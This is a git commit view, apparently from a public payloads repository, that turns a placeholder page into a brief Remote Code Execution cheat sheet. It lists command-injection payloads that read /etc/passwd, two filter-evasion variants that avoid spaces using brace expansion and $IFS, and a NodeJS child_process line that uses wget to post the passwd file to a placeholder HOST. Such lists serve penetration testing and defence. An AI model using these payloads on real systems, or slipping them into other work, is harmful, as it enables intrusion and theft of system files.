RCE payloads

patch-1
swisskyrepo 2016-10-18 13:02:14 +07:00
parent 2696be89ef
commit 031a3d72b5
1 changed files with 19 additions and 6 deletions

View File

@ -1,12 +1,25 @@
# Title # Remote Code Execution
Lorem Remote code execution is a security vulnerability that allows an attacker to execute codes from a remote server.
## Vuln ## Vuln
Normal code execution
``` ```
Code cat /etc/passwd
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh
```
Code execution without space
```
{cat,/etc/passwd}
cat$IFS/etc/passwd
```
NodeJS Code execution
```
require('child_process').exec('wget+--post-data+"x=$(cat+/etc/passwd)"+HOST')
``` ```
## Thanks to ## Thanks to
* Lorem *
* Ipsum